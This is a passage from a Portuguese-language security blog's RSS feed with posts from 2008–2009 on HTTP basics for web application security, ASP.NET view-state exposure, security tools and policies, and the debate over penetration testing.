				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/02/06/http-essentials/</guid>
		<description><![CDATA[Como diz meu amigo Sp0oker: "como falar de payload para pessoas que não sabem o que é um Three Way Handshake?" Pensando nisso eu resolvi divulgar esta parte sobre http do material do treinamento de web hacking techniques. O conteúdo é o básico para conhecer como funciona o protocolo HTTP, essencial para análise de segurança [...]]]></description>
			<content:encoded><![CDATA[<p>Como diz meu amigo <a href="http://spookerlabs.multiply.com/"><strong>Sp0oker</strong></a>: "como falar de payload para pessoas que não sabem o que é um Three Way Handshake?" Pensando nisso eu resolvi divulgar esta parte sobre http do material do <a href="http://www.ucon-conference.org/web-hacking-techniques.php?hl=pt"><strong>treinamento de web hacking techniques</strong></a>. O conteúdo é o básico para conhecer como funciona o protocolo HTTP, essencial para análise de segurança em aplicações WEB.<br />
<strong><br />
O que é o protocolo HTTP</strong></p>
<p>O HTTP (Hypertext Transfer Protocol) é um protocolo que atua na camada de aplicação de acordo com o modelo OSI e estabelece um conjunto de regras, padrão para troca de mensagens entre recursos na WEB.</p>
<p><strong>O HTTP possui as seguintes versões:<br />
</strong></p>
<ul>
<li>HTTP/0.9 (Criado em 1991)</li>
<li>HTTP/1.0 (Criado em 1996)</li>
<li>HTTP/1.1 (Criado em 1999)</li>
</ul>
<p>Não é o propósito deste tutorial explicar os detalhes de cada versão, mais detalhes podem ser obtidos na RFC 2145 (Use and Interpretation of HTTP Version Numbers).</p>
<p><strong>Como trabalha o protocolo HTTP<br />
</strong><br />
O protocolo HTTP tem uma característica que é de fundamental entendimento para quem analisa segurança em aplicações WEB, é o fato dele ser stateless, isso significa que ele não mantém uma conexão, ele sempre conecta, envia uma mensagem, recebe uma resposta e desconecta, como ilustra a figura 1.</p>
<div style="text-align: center;"><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/conexao.png" alt="" /></div>
<div style="text-align: center;"><strong><small>Figura 1</small></strong></div>
<p>Por este motivo é utilizado recursos extras como cookie e/ou sessões para garantir a persistência dos dados e informações que são disponibilizados em aplicações.</p>
<p>A figura 2 mostra a visão do protocolo HTTP e seus dados frente a camada TCP/IP, na figura 3 podemos identificar como funciona a comunicação em uma rede de dados e na figura 4 um exemplo de um header (cabeçalho) HTTP.</p>
<div style="text-align: center;"><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/layers.png" alt="" /><br />
<strong><small>Figura 2</small></strong></div>
<div style="text-align: center;"><img class="alignnone" style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/comunicacao.png" alt="" /><br />
<small><strong>Figura 3</strong></small></p>
<p><img class="alignnone" style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/header.png" alt="" /><br />
<small><strong>Figura 4</strong></small></div>
<p>Quando estamos falando de aplicações WEB geralmente estamos sempre fazendo referência a URL(Uniform Resource Locators) como http://wagnerelias.com, técnicamente a URL serve apenas para fazer referência a um determinado domínio, quando precisamos acessar recursos WEB via browser utilizamos a URI (Uniform Resource Identifiers). Para conseguir identificar e explorar determinados recursos de uma aplicação é essencial que se entenda exatamente o que cada parte de uma URI representa, na figura 5 temos uma descrição de cada parte de uma URI.</p>
<p style="text-align: center;"><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/recursosuri.png" alt="" /><small><strong><br />
Figura 5</strong></small></p>
<p>Já sabemos o que é um protocolo HTTP, quais as suas principais características, mas é preciso entender quais são seus principais métodos e códigos de status, na figura 6 temos um representação de uma requisição do browser e uma resposta do servidor.</p>
<div style="text-align: center;"><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/requisicaoresposta.png" alt="" /></div>
<div style="text-align: center;"><small><strong>Figura 6</strong></small></div>
<p><strong>Métodos HTTP<br />
</strong><br />
Os métodos, também conhecidos como verbos HTTP, são os seguintes:</p>
<ul>
<li><strong>GET:</strong> é o método mais comum e tem como característica enviar seus parâmetros direto na URI</li>
<li><strong>POST:</strong> é um método que envia os dados no corpo do header e possui características mais seguras para se enviar requisições ao servidor</li>
<li><strong>HEAD:</strong> semelhante ao GET mas não obtem o recurso, apenas meta dados</li>
<li><strong>PUT:</strong> envia um recurso para o servidor</li>
<li><strong>DELETE:</strong> exclui um recurso do servidor</li>
<li><strong>TRACE:</strong> através da resposta obtida por uma requisição trace é possível saber o que foi alterado na requisição por um servidor intermediário</li>
<li><strong>OPTIONS:</strong> consulta os métodos HTTP que o servidor aceita</li>
<li><strong>CONNECT:</strong> usado em soluções de proxy</li>
</ul>
<p>Os métodos são informados no momento que é feito uma requisição HTTP ao servidor de aplicação.</p>
<p><strong>Código de Status do HTTP<br />
</strong><br />
Os códigos de status estão classificados em cinco tipos.</p>
<ul>
<li>1xx: Informação</li>
<li>2xx: Sucesso</li>
<li>3xx: Redirecionamento</li>
<li>4xx: Erro no cliente</li>
<li>5xx: Erro no server</li>
</ul>
<p>Uma lista completa de códigos de status pode ser <a href="http://www.tutorialspoint.com/http/http_status_codes.htm"><strong>obtida aqui</strong></a>. Sempre que uma requisição usando um método HTTP é feita ao server é recebido uma resposta com um status code.</p>
<p>O HTTP também possui recursos de autenticação nativos que pretendo falar mais sobre eles em um post futuro, os dois modelos são:</p>
<ul>
<li>Autenticação Básica</li>
<li>Autenticação Digest</li>
</ul>
<p>Eu costumo usar muito os recursos do firefox para analisar as requisições e respostas HTTP, os principais addon são estes:
</p>
<p style="text-align: center;"><img class="aligncenter" style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/livehttpheaders.jpg" alt="" /><a href="https://addons.mozilla.org/en-US/firefox/addon/3829"><small><strong>Live HTTP Headers</strong></small></a></p>
<div style="text-align: center;"><strong><br />
</strong></div>
<div style="text-align: center;"><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/modifyheader.jpg" alt="" /><br />
<a href="https://addons.mozilla.org/en-US/firefox/addon/967"><small><strong>Modify Headers</strong></small></a></div>
<div style="text-align: center;">
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/hhtpfox.jpg" alt="" /><br />
<a href="https://addons.mozilla.org/en-US/firefox/addon/6647"><small><strong>HTTPFox<br />
</strong></small></a></p>
<p><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/tamperdata.jpg" alt="" /><br />
<a href="https://addons.mozilla.org/en-US/firefox/addon/966"><small><strong>Tamper Data</strong></small></a></div>
<p>Além dos addon do firefox eu estou usando uma ferramenta desenvolvida pelo <a href="http://www.514.es/2008/02/httpmethods_1.html"><strong>tiger team 514</strong></a> que faz várias requisições usando métodos diferentes e dando o status code de cada uma.</p>
<div style="text-align: center;"><img style="max-width: 400px;" src="http://wagnerelias.com/wp-content/uploads/2009/02/httpmethods.jpg" alt="" /></div>
<div style="text-align: center;"><small><strong>HTTP Methods </strong></small></p>
<div style="text-align: left;">Este post foi uma introdução sobre o funcionamento e principais características do http. As referências para este tutorial foram os livros: Whiley - HTTP Essentials Protocols for Secure, Scaleable Web Sites; O'Reilly - HTTP Definitive Guide; Sams - HTTP Developer's Handbook.</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/02/06/http-essentials/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/02/06/http-essentials/</feedburner:origLink></item>
		<item>
		<title>View-State and ASP.NET Security</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/aR5n5NQPz24/</link>
		<comments>http://wagnerelias.com/2009/02/03/view-state-and-aspnet-security/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 13:27:34 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/02/03/view-state-and-aspnet-security/</guid>
		<description><![CDATA[Há muito tempo atrás eu fui questionado por um cliente ao mencionar que o view-state de uma aplicação dele estava expondo informações sensíveis. A justificativa dele é que isso era um comportamento padrão do ASP.NET. Ele tinha razão, o ASP.NET depende muito do view-state e cria um campo HIDDEN onde dados são armazenados na sessão.
Na [...]]]></description>
			<content:encoded><![CDATA[<p>Há muito tempo atrás eu fui questionado por um cliente ao mencionar que o view-state de uma aplicação dele estava expondo informações sensíveis. A justificativa dele é que isso era um comportamento padrão do ASP.NET. Ele tinha razão, o ASP.NET depende muito do view-state e cria um campo HIDDEN onde dados são armazenados na sessão.</p>
<p>Na situação eu recomendei que pelo menos ele <a href="http://msdn.microsoft.com/en-us/library/ms972976.aspx"><b>utilizasse recursos para criptografar</b></a> os dados mantidos na View-State.</p>
<p>Um problema do View-State é o mal uso dele, muitos desenvolvedores sem saber dos riscos acabam armazenando muitos dados na sessão usando o recurso. Com isso, além de causar problemas de performance, ele pode expor dados confidenciais, pois os dados podem ser visualizados <a href="http://www.pluralsight.com/community/media/p/51688.aspx"><b>usando ferramentas que decodifiquem o view-state.</b></a> </p>
<p>A boa notícia é que segundo um <a href="http://www.infoq.com/br/news/2009/02/ASP-4-View-State"><b>post no InfoQ</b></a>, o ASP.NET vai depender menos do view-state e se estuda a possibilidade dele vir desabilitado por default. De qualquer maneira, cuidado com o view-state em aplicações desenvolvidas em ASP.NET.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/02/03/view-state-and-aspnet-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/02/03/view-state-and-aspnet-security/</feedburner:origLink></item>
		<item>
		<title>Segurança de aplicação e as ferramentas de teste</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/nY9a7CoTNAs/</link>
		<comments>http://wagnerelias.com/2009/01/29/seguranca-de-aplicacao-e-as-ferramentas-de-teste/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 14:25:33 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/01/29/seguranca-de-aplicacao-e-as-ferramentas-de-teste/</guid>
		<description><![CDATA[Lendo o post do Eduardo sobre a recente divulgação de um comparativo entre três ferramentas de teste de aplicações web, resolvi falar um pouco sobre o que penso sobre o tema.
Pra mim o problema todo é comparar bananas com laranjas. As ferramentas realmente não irão substituir a análise humana, são coisas distintas e complementares.
Outro ponto [...]]]></description>
			<content:encoded><![CDATA[<p>Lendo o <a href="http://camargoneves.com/2009/01/29/comparativo-entre-web-vulnerability-application-scanners/"><b>post do Eduardo</b></a> sobre a recente divulgação de um comparativo entre três ferramentas de teste de aplicações web, resolvi falar um pouco sobre o que penso sobre o tema.</p>
<p>Pra mim o problema todo é comparar bananas com laranjas. As ferramentas realmente não irão substituir a análise humana, são coisas distintas e complementares.</p>
<p>Outro ponto é, o tipo de ferramenta, as ferramentas cumprem o seu papel, o problema é o uso, expectativa que, se tem delas. O erro mais comum é comprar uma ferramenta e achar que ela irá cumprir todos os pontos relacionados a segurança de aplicação. Alguns vendedores podem usar este argumento, mas no geral todas deixam claro qual o seu propósito.</p>
<p>Para se garantir a segurança de uma aplicação várias atividades devem ser executadas. Atividades que eu classifico como antes, durante e depois do desenvolvimento da aplicação.</p>
<p><b>Antes</b></p>
<ul>
<li>Treinamento e capacitação</li>
<li>Implementação de um processo que garanta que boas práticas de desenvolvimento sejam seguidas</li>
</ul>
<p><b>Durante<br /></b>
<ul>
<li>Acompanhamento e validação de requisitos de segurança</li>
<li>Testes específicos durante o desenvolvimento</li>
</ul>
<p><b>Depois<br /></b>
<ul>
<li>Testes black-box buscando verificar a eficácia dos controles adotados durante o desenvolvimento</li>
</ul>
<p>Portanto, as ferramentas funcionam, mas tem seu propósito bem claro. Apenas uma ferramenta de source review não resolve todos os problemas, assim como uma ferramenta de testes black-box também não.</p>
<p>E o ponto fundamental nesta comparação é: mesmo as ferramentas precisam de alguém capacitado para tirar o melhor delas e interpretar seus resultados e transformá-los em ações práticas para melhorar a segurança das aplicações.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/01/29/seguranca-de-aplicacao-e-as-ferramentas-de-teste/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/01/29/seguranca-de-aplicacao-e-as-ferramentas-de-teste/</feedburner:origLink></item>
		<item>
		<title>Comunicação durante uma crise/incidente</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/epg7p8Qsgg4/</link>
		<comments>http://wagnerelias.com/2009/01/27/comunicacao-durante-uma-criseincidente/#comments</comments>
		<pubDate>Tue, 27 Jan 2009 19:14:38 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[BCP]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/01/27/comunicacao-durante-uma-criseincidente/</guid>
		<description><![CDATA[Para muitos falar em público já é complicado, imagina durante uma crise grave envolvendo vítimas? Existem alguns guides sobre o tema, mas este link tem um apanhado bem completo: Golden rules for the crisis spokesperson.
]]></description>
			<content:encoded><![CDATA[<p>Para muitos falar em público já é complicado, imagina durante uma crise grave envolvendo vítimas? Existem alguns guides sobre o tema, mas este link tem um apanhado bem completo: <a href="http://www.continuitycentral.com/feature0638.html"><b>Golden rules for the crisis spokesperson</b></a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/01/27/comunicacao-durante-uma-criseincidente/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/01/27/comunicacao-durante-uma-criseincidente/</feedburner:origLink></item>
		<item>
		<title>Política de Segurança da Informação, como não fazer</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/G5A0HUp6DGg/</link>
		<comments>http://wagnerelias.com/2009/01/22/politica-de-seguranca-da-informacao-como-nao-fazer/#comments</comments>
		<pubDate>Thu, 22 Jan 2009 17:16:31 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Risk Assessment]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/01/22/politica-de-seguranca-da-informacao-como-nao-fazer/</guid>
		<description><![CDATA[Eu assino o feed do efetividade há muito tempo, sempre gostei do conteúdo, agora hoje fiquei surpreso com um post: Política de Segurança de Informação: um modelo de como não fazer.
No post ele comenta sobre falhas comuns em PSI (Políticas de Segurança da Informação), não esperem uma avaliação técnica, mas sim um apanhado de coisas [...]]]></description>
			<content:encoded><![CDATA[<p>Eu assino o feed do efetividade há muito tempo, sempre gostei do conteúdo, agora hoje fiquei surpreso com um post: <strong><a title="Permalink to  Política de Segurança de Informação: um modelo de como não fazer" rel="bookmark" href="http://www.efetividade.net/2009/01/20/politica-de-seguranca-de-informacao-um-modelo-de-como-nao-fazer/">Política de Segurança de Informação: um modelo de como não fazer.</a></strong></p>
<p><strong></strong>No post ele comenta sobre falhas comuns em PSI (Políticas de Segurança da Informação), não esperem uma avaliação técnica, mas sim um apanhado de coisas óbvias e simples que muito profissional de segurança sênior não é capaz de evitar quando desenvolve uma PSI. Recomendo a leitura, mas segue alguns pontos.</p>
<blockquote><p>"Tranque tanto a infra-estrutura, que trabalhar se torne complicado demais. <em>Complemento do comentário acima. E há um risco adicional: os usuários vão encontrar “jeitinhos”, como o uso de cópias locais, versões antigas e mídias não-autorizadas."</em><em> <strong>Isso aqui é comum entre profissionais de segurança que só viram as coisas nos livros.</strong></em></p>
<p><em><br />
</em>"Diga “não” sempre que lhe solicitarem alguma aprovação. <em>Assumindo que você tenha força suficiente para sustentar um comportamento deste tipo, aí quem vai encontrar jeitinhos serão departamentos inteiros, filiais, e outros agregados</em>." <strong>Esta é hilária, quem nunca viu aquele cara do comercial, executivo, soltando pérolas: "Segurança é o escambal eu quero é vender".</strong></p>
<p>"Imponha requisitos de segurança sem as ferramentas e treinamento adequados. <em>Vira letra morta, e ainda por cima custa caro. Segurança precisa ser praticada por todos, o que pressupõe ferramentas e educação.</em>" <strong>Exatamente isto, a maioria das PSI são "compliance" e nunca aumentaram em nada a segurança das organizações.</strong></p>
<p>"Espere que o SSL resolva todas as questões de segurança de seus aplicativos web. <em>SSL é só o mínimo necessário, e o “cadeadinho fechado” no rodapé do navegador não protege contra as falhas na programação ou na arquitetura</em>." <strong>Cadeadinho é ótimo, engraçado que até hoje eu vejo "especialista" falando do cadeadinho na televisão.</strong></p>
<p>"Proíba o uso de pen drives, sem delimitar o acesso à Internet. <em>Os mesmos arquivos que podem entrar ou sair via pen-drive podem fazê-lo via uma grande variedade de sites na Internet. Pen drives são uma<br />
ferramenta, mas o que deve ser restrito é trazer ou levar os arquivos não autorizados que se queira impedir. Só proibir os pen drives é incômodo e ineficaz." <strong>Esta é para aqueles que querem implementar todo tipo de controle de end-point e acham que estão seguros.</strong></em></p>
<p>"Adote novas tecnologias antes que elas tenham maturidade suficiente. <em>Folders, livretos, exposições e as conversas dos vendedores devem ser tomados em conjunto com doses saudáveis de consideração</em>" <strong>Bota dose de consideração nisso.</strong><br />
<strong><br />
</strong>"Contrate alguém só porque ele tem um monte de certificações." <strong>Ah, não esqueça de pedir os certificados impressos.</strong></p>
<p>"Exija que seus usuários troquem de senha com muita frequência. <em>…e eles adotarão esquemas fáceis de lembrar (e quebrar), ou escreverão as senhas em algum lugar de fácil acesso." <strong>Falar sobre política de senhas merece um post a parte, mas no geral é só um copy-paste de uma política pra outra, a senha tem que ter no mínimo trocentos caracteres...Hum o mainframe só aceita 4 e numérico, F&amp;^&amp;^*&amp;^$&amp;^%^%.</strong></em><br />
<em><strong><br />
</strong></em>"Ignore requisitos legais. <em>Não é razoável: proibir o que uma norma superior permite, permitir o que a lei proíbe, atribuir a si mesmo o poder de realizar verificações ou praticar ações que potencialmente<br />
violem direitos alheios. Mesmo assim muita gente tenta, todos os dias, e se dá mal na hora de colocar em prática</em>." <strong>Isso, monitora, coloca keylogger, as máquinas são da empresa e está na política que vai ser monitorado.</strong></p>
<p>"Assuma que os usuários irão ler a política de segurança porque você pediu a eles. <em>Eles só o farão se precisarem muito. Publicar pode ser o suficiente para que eles venham a conhecer as linhas gerais, eventualmente distorcidas pela Rádio Corredor. Para que os usuários conheçam uma política<br />
detalhadamente, é preciso recorrer a outros meios de educação. Na prática, você não pode assumir nem mesmo que toda a equipe de TI, ou que a maioria dos executivos, vá ler a norma." <strong>Se você não vai fazer nada para implementar a política, nem escreva, salve algumas árvores.</strong></em><br />
<em><strong><br />
</strong></em>"Crie políticas de segurança que você não poderá fazer cumprir. <em>Uma norma cujo cumprimento não é (ou não pode ser) exigido pode ser até mesmo pior do que a ausência de normatização, e acaba servindo apenas para punir culpados depois que a porta já estiver arrombada e as vacas<br />
tiverem fugido do estábulo." <strong>Quanto mais diretrizes melhor, é mais compliance.</strong></em><br />
<em><strong><br />
</strong></em>"Assuma que as políticas não se aplicam aos executivos. <em>Se houver exceções, elas devem constar na norma, e não podem comprometer sua eficácia. Pouco adianta todo o restante do esforço se um gerente puder trazer um pen drive de casa para instalar um programa ou compartilhar um arquivo em uma máquina da rede local. Uma variante do mesmo erro: “Assuma que as políticas não se aplicam ao pessoal de TI”."</em> <strong>Executivos? Geralmente nem a área de segurança cumpre as diretrizes por eles impostas.</strong></p>
<p>"Deixe seu anti-vírus, IDS e outras ferramentas rodando no piloto automático." <strong>Ué, paguei uma grana nas ferramentas pra que?</strong><br />
<strong><br />
</strong>"Tente aplicar o mesmo rigor a todos os ativos de informação, independente do seu perfil de risco. <em>Fica<br />
bem mais caro do que deveria, atrapalha processos sem necessidade, e prejudica bastante a adoção e internalização pelas pessoas envolvidas</em>" <strong>Hum, gestão de riscos? Mas eu já tenho uma PSI.</strong><br />
<strong><br />
</strong>"Dê a alguém o título de Gestor dos Riscos, mas não lhe dê o poder de tomada de decisões correspondente. <em>Ele terá que optar entre se omitir, ou ser o chato que fica apontando<br />
riscos nas atividades alheias podendo ser ignorado, ou ainda saber que está lá só para levar a culpa</em>" <strong>Quem está nesta situação deixa um post no blog. Hum melhor não, vai encher meu blog de conteúdo inútil.</strong><br />
<strong><br />
</strong>"Ignore o quadro geral, e se concentre nas análises quantitativas. <em>É mentalmente desafiante e muito interessante aplicar os modelos matemáticos de quantificação de riscos, mas eles não podem substituir a visão do todo, e sim complementá-la." <strong>ROSI, ROS, uhuhu</strong></em><br />
<em><strong><br />
</strong></em>"Classifique todos os seus dados como “top secret”. <em>Nivelar por cima, nesse caso, tem praticamente o mesmo efeito que nivelar por baixo."</em> <strong>É classificação da informação e não "rotulação" da informação.</strong></p></blockquote>
<p>Recomendo a leitura, você vai dar boas risadas e ainda pode aprender um pouco sobre PSI. Só não vai ficar deprimido caso se enquadre em muitas das coisas listadas.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/01/22/politica-de-seguranca-da-informacao-como-nao-fazer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/01/22/politica-de-seguranca-da-informacao-como-nao-fazer/</feedburner:origLink></item>
		<item>
		<title>Analisando código php encriptado</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/jUQO9hfNphc/</link>
		<comments>http://wagnerelias.com/2009/01/21/analisando-codigo-php-encriptado/#comments</comments>
		<pubDate>Wed, 21 Jan 2009 15:37:56 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/01/21/analisando-codigo-php-encriptado/</guid>
		<description><![CDATA[Stefan Esser publicou informações bem interessantes sobre o core do php. Na última 25C3 ele fez uma apresentação demonstrando como é possível fazer análise em códigos encriptados usando bibliotecas de encriptação de Bytecode como: ZendGuard, ionCube PHP Encoder e SourceGuardian. 
Segundo o paper mesmo com técnicas de anti-hooking e decryption é possível analisar o código [...]]]></description>
			<content:encoded><![CDATA[<p>Stefan Esser publicou informações bem interessantes sobre o core do php. Na última <a href="http://events.ccc.de/congress/2008/"><b>25C3</b></a> ele fez <a href="http://www.suspekt.org/wp-content/uploads/2008/12/vulnerabilitydiscoveryinclosedsourcephpapplications_25c3.pdf"><b>uma apresentação</b></a> demonstrando como é possível fazer análise em códigos encriptados usando bibliotecas de encriptação de Bytecode como: <a href="http://www.zend.com"><b>ZendGuard</b></a>, <a href="http://www.ioncube.com"><b>ionCube PHP Encoder</b></a> e <a href="http://www.sourceguardian.com"><b>SourceGuardian</b></a>. </p>
<p>Segundo o paper mesmo com técnicas de anti-hooking e decryption é possível analisar o código devido as padrões do bytecode que são mantidos. Leitura altamente recomendada.</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/01/21/analisando-codigo-php-encriptado/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/01/21/analisando-codigo-php-encriptado/</feedburner:origLink></item>
		<item>
		<title>u-Con 2009</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/DedgWtNieB4/</link>
		<comments>http://wagnerelias.com/2009/01/03/u-con-2009/#comments</comments>
		<pubDate>Sat, 03 Jan 2009 13:17:07 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Diversos]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2009/01/03/u-con-2009/</guid>
		<description><![CDATA[Em Fevereiro vai acontecer em Recife, mais uma edição de uma das principais conferências sobre hacking/security. Estarei lá ministrando um treinamento de Web Hacking Techniques e a Conviso está apoiando o evento.
Mais informações no site da conferência, como diria meu amigo sp0oker: Happy Hacking!
]]></description>
			<content:encoded><![CDATA[<p>Em Fevereiro vai acontecer em Recife, mais uma edição de uma das principais conferências sobre hacking/security. Estarei lá ministrando um <a href="http://convisosec.com/training"><b>treinamento de Web Hacking Techniques</b></a> e a <a href="http://convisosec.com/blog/2008/12/conviso_it_security_patrocina.html"><b>Conviso está apoiando o evento.</b></a></p>
<p>Mais informações no <a href="http://www.ucon-conference.org/index.php"><b>site da conferência</b></a>, como diria meu amigo<b> <a href="spookerlabs.multiply.com">sp0oker</a></b>: Happy Hacking!</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2009/01/03/u-con-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2009/01/03/u-con-2009/</feedburner:origLink></item>
		<item>
		<title>Twitter?</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/N_TglGQA-cs/</link>
		<comments>http://wagnerelias.com/2008/12/30/twitter/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 10:14:43 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Diversos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2008/12/30/twitter/</guid>
		<description><![CDATA[É eu me rendi a mais uma "ferramenta" geek! Eu conheci o twitter há algum tempo atrás e confesso que achei meio bobo, sem sentido. Conversando com alguns amigos eu fui convencido a olhar com mais calma, afinal, poderia ser mais uma ferramenta para troca de idéias, opiniões, sobre o que eu penso e faço [...]]]></description>
			<content:encoded><![CDATA[<p>É eu me rendi a mais uma "ferramenta" geek! Eu conheci o <a href="http://twitter.com/"><b>twitter</b></a> há algum tempo atrás e confesso que achei meio bobo, sem sentido. Conversando com alguns amigos eu fui convencido a olhar com mais calma, afinal, poderia ser mais uma ferramenta para troca de idéias, opiniões, sobre o que eu penso e faço no meu dia-a-dia.</p>
<p>Bom, fui lá e dei-um "Forgot password" e resolvi começar a "twittar" (é assim que se fala?). </p>
<p>Quem quiser acompanhar e claro, apreciar com moderação, é só me incluir (é assim? Calma, estou começando.) acessando a URL: <a href="http://twitter.com/welias"><b>http://twitter.com/welias</b></a></p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2008/12/30/twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2008/12/30/twitter/</feedburner:origLink></item>
		<item>
		<title>Pen-test não morre não, fiquem tranquilos!</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/doQaMyN6-8U/</link>
		<comments>http://wagnerelias.com/2008/12/29/pen-test-nao-morre-nao-fiquem-tranquilos/#comments</comments>
		<pubDate>Mon, 29 Dec 2008 19:56:32 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Diversos]]></category>
		<category><![CDATA[Security Assessment]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2008/12/29/pen-test-nao-morre-nao-fiquem-tranquilos/</guid>
		<description><![CDATA[No início de Dezembro Brian Chess co-fundador da Fortify escreveu um artigo para o portal CSO Online com o seguinte título: Penetration Testing: Dead in 2009.
Como o título foi extremamente sensacionalista e na minha opinião, as declarações de Chess foram bastante parciais em favor do produto/negócio da Fortify, as interpretações não foram as melhores.
Ivan Arce [...]]]></description>
			<content:encoded><![CDATA[<p>No início de Dezembro Brian Chess co-fundador da <a href="https://www.fortify.com"><strong>Fortify</strong></a> escreveu um artigo para o portal CSO Online com o seguinte título: <a href="http://www.csoonline.com/article/468766/Penetration_Testing_Dead_in_&amp;usg=ALkJrhgoikV8ooxvD-8xVgknrVqcEz_uzQ"><strong>Penetration Testing: Dead in 2009</strong></a>.</p>
<p>Como o título foi extremamente sensacionalista e na minha opinião, as declarações de Chess foram bastante parciais em favor do produto/negócio da Fortify, as interpretações não foram as melhores.</p>
<p>Ivan Arce CTO da <a href="http://www.coresecurity.com/"><strong>Core Security</strong></a> escreveu um outro artigo para o mesmo portal com o título: <a href="http://www.csoonline.com/article/470584/Twelve_Reasons_Pen_Testing_Won_t_Die&amp;usg=ALkJrhhs1gy-QF4Zw7wEaud9HUQjEKv17Q"><strong>Twelve Reasons Pen Testing Won't Die</strong></a></p>
<p>Neste artigo Arce "contra-ataca" Chess e faz uma brincadeira criando o acrônimo, SISSP (School of Information Systems Security Prophets) e descreve de forma muito clara inúmeros motivos para se realizar testes de segurança (pen-tests).</p>
<p>No maior estilo <a href="http://pt.wikipedia.org/wiki/Arthur_Schopenhauer"><strong>Schopenhauer</strong></a>, Chess, escreveu outro post no blog da Fortify: <a href="http://blog.fortify.com/blog/fortify/2008/12/15/Penetration-Testing-is-Dead-Long-Live-Penetration-Testing&amp;usg=ALkJrhjB2LSFOIwhCXK8VuB8CcHihZB_0g"><strong>Penetration Testing is Dead, Long Live Penetration Testing</strong></a></p>
<p>A minha opinião sobre esta novela toda é: Muda-se o nome, muda-se a "roupagem" mas os testes de segurança sempre deverão ser feitos. Afinal, como será garantido que os produtos mesmo após um bom SDL (secure Development Lifecycle) são realmente seguros como deveriam ser? Como diria <a href="http://blogs.msdn.com/michael_howard/"><strong>Michael Howard</strong></a>: "Ou você testa ou alguém ira testar por você".</p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2008/12/29/pen-test-nao-morre-nao-fiquem-tranquilos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2008/12/29/pen-test-nao-morre-nao-fiquem-tranquilos/</feedburner:origLink></item>
		<item>
		<title>SDL e falha de XML Parser do Internet Explorer</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/CMVKH2TMQr0/</link>
		<comments>http://wagnerelias.com/2008/12/22/sdl-e-falha-de-xml-parser-do-internet-explorer/#comments</comments>
